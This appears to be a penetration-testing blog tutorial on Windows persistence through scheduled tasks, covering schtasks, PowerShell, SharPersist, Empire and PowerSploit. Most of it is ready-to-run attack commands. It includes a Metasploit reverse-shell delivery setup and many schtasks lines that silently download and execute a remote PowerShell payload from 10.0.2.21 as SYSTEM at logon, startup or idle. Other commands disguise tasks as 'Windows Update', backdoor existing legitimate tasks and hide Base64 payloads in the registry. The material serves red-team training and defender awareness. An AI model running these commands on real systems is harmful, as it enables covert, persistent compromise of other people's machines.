Windows operating systems provide a utility (schtasks.exe) which enables system administrators to execute a program or a script at a specific given date and time. This kind of behavior has been heavily abused by threat actors and red teams as a persistence mechanism. Administrator privileges are not required to perform persistence via schedule tasks however further actions are allowed such as execute a task during logon of a user or during idle state if elevated privileges have been achieved.

The persistence technique of scheduled tasks can be implemented both manually and automatically. Payloads can be executed from disk or from remote locations and they can have the form of executables, PowerShell scripts or scriptlets. This is considered an old persistence technique however it can still be used in red team scenarios and it is supported by a variety of open source tools. The Metasploit “web_delivery” module can be used to host and generate payloads in various formats.

use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.2.21
set target 5
exploit

From the command prompt the “schtasks” executable can be used to create a schedule task that will download and execute a PowerShell based payload in every Windows logon as a SYSTEM.

schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System
Persistence Schedule Tasks – Command Prompt

When the user logon again with the system the payload will executed and a Meterpreter session will open.

Persistence Schedule Tasks – Meterpreter

It is also possible the execution to occur during system start or when the user session is inactive (idle mode).

#(X64) - On System Start
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System

#(X64) - On User Idle (30mins)
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30

#(X86) - On User Login
schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System
 
#(X86) - On System Start
schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System
 
#(X86) - On User Idle (30mins)
schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30

Execution of the payload can be also occur at a specific time and can have an expiration date and a self delete function. The “schtasks” utility provides the necessary options as it is part of its functionality.

schtasks /CREATE /TN "Windows Update" /TR "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /SC minute /MO 1 /ED 04/11/2019 /ET 06:53 /Z /IT /RU %USERNAME%
Persistence – Schedule Task Date and Time

A task can be triggered at specific Windows events if event logging is enabled for the targeted event. This technique was demonstrated by b33f in his website. The Windows event command line utility can be used to query event ID’s.

wevtutil qe Security /f:text /c:1 /q:"Event[System[(EventID=4647)]]
Query Event ID

A schedule task can be created that will execute a payload when the associated event ID occurs on the system.

schtasks /Create /TN OnLogOff /TR C:\tmp\pentestlab.exe /SC ONEVENT /EC
Security /MO "*[System[(Level=4 or Level=0) and (EventID=4634)]]"
Persistence – Schedule Tasks Event ID

The “Query” parameter can be used to retrieve the information for the newly created schedule task.

schtasks /Query /tn OnLogOff /fo List /v
Query Schedule Task

When the user Administrator logs off the event ID will created and on the next logon the payload will executed.

Schedule Task LogOff – Meterpreter

Alternatively PowerShell can be used to create schedule tasks that will executed either at logon of a user or at a specific time and date.

$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\pentestlab.exe"
$T = New-ScheduledTaskTrigger -AtLogOn -User "pentestlab"
$S = New-ScheduledTaskSettingsSet
$P = New-ScheduledTaskPrincipal "Pentestlab"
$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
Register-ScheduledTask Pentestlab -InputObjec $D

$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\pentestlab.exe"
$T = New-ScheduledTaskTrigger -Daily -At 9am
$P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
$S = New-ScheduledTaskSettingsSet
$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
Register-ScheduledTask PentestLaboratories -InputObject $D
Persistence Schedule Tasks – PowerShell

SharPersist

Brett Hawkins added in SharPersist multiple capabilities around persistence via Schedule Tasks. If the user has Administrator level privileges the following command can create a new schedule task that will executed during Windows logon.

SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -n "PentestLab" -m add -o logon
SharPersist – New Schedule Task Logon

In the next reboot of the system the payload will executed and a Meterpreter session will open.

Meterpreter – SharPersist Schedule Task

SharPersist can be also used to list a specific schedule task in order to identify the owner, the trigger and the action to performed.

SharPersist -t schtask -m list -n "PentestLab"
SharPersist – List Schedule Task

Alternatively using only the “list” option without specifying a name will enumerate all the existing schedule tasks on the system.

SharPersist -t schtask -m list
SharPersist – List Schedule Tasks

Similar to Metasploit Framework capability that has a function to check if the target is vulnerable and whether the exploit will executed successfully, SharPersist has a dry run check. This function can be used to validate the schedule task command by checking the name and the provided arguments.

SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -n "PentestLab" -m check
SharPersist – Check Schedule Task

SharPersist can also enumerate all the schedule tasks that will executed during logon. This command can be used during situational awareness of the host and to determine if there is an existing schedule task that can be modified to run a payload instead of creating a new task.

SharPersist -t schtaskbackdoor -m list -o logon
SharPersist – List Logon Schedule Tasks

The schtaskbackdoor function combined with the check argument can identify if a specific schedule task has been backdoored.

SharPersist.exe -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -n "PentestLab" -m check
SharPersist – Check Backdoor Schedule Task

The “Add” argument will backdoor an existing schedule task that will execute a malicious command instead of a performing a legitimate action as a stealthier persistence option.

SharPersist.exe -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -n "ReconcileLanguageResources" -m add
SharPersist – Backdoor Schedule Task

Empire

Empire contains two modules depending on the privileges of the active agent that can be used to implement the persistence technique of schedule tasks. The following configuration will execute a PowerShell based payload every day at 03:22 am. The payload is stored in a registry key and the task name is “WindowsUpdate” in order to distinguished between legitimate schedule tasks.

usemodule persistence/userland/schtasks
set Listener http
set TaskName WindowsUpdate
set DailyTime 03:22
execute
Persistence Schedule Tasks – Empire

The elevated module of schedule tasks provides the option to execute the payload during logon of the user. In both modules registry will be used to store the payloads in Base64 encoded format however in different registry keys.

usemodule persistence/elevated/schtasks*
set Listener http
Persistence Schedule Tasks – Empire Elevated

PowerSploit

The persistence module of PowerSploit supports various functions that can be used to add persistence capability to a script or a script block. Elevated and user options are required to be configured prior to adding persistence.

$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -Hourly
$UserOptions = New-UserPersistenceOption -ScheduledTask -Hourly
Add-Persistence -FilePath C:\temp\empire.exe -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions
PowerSploit – Schedule Tasks

The module provides a variety of options which all of them have been covered in the documentation page.

References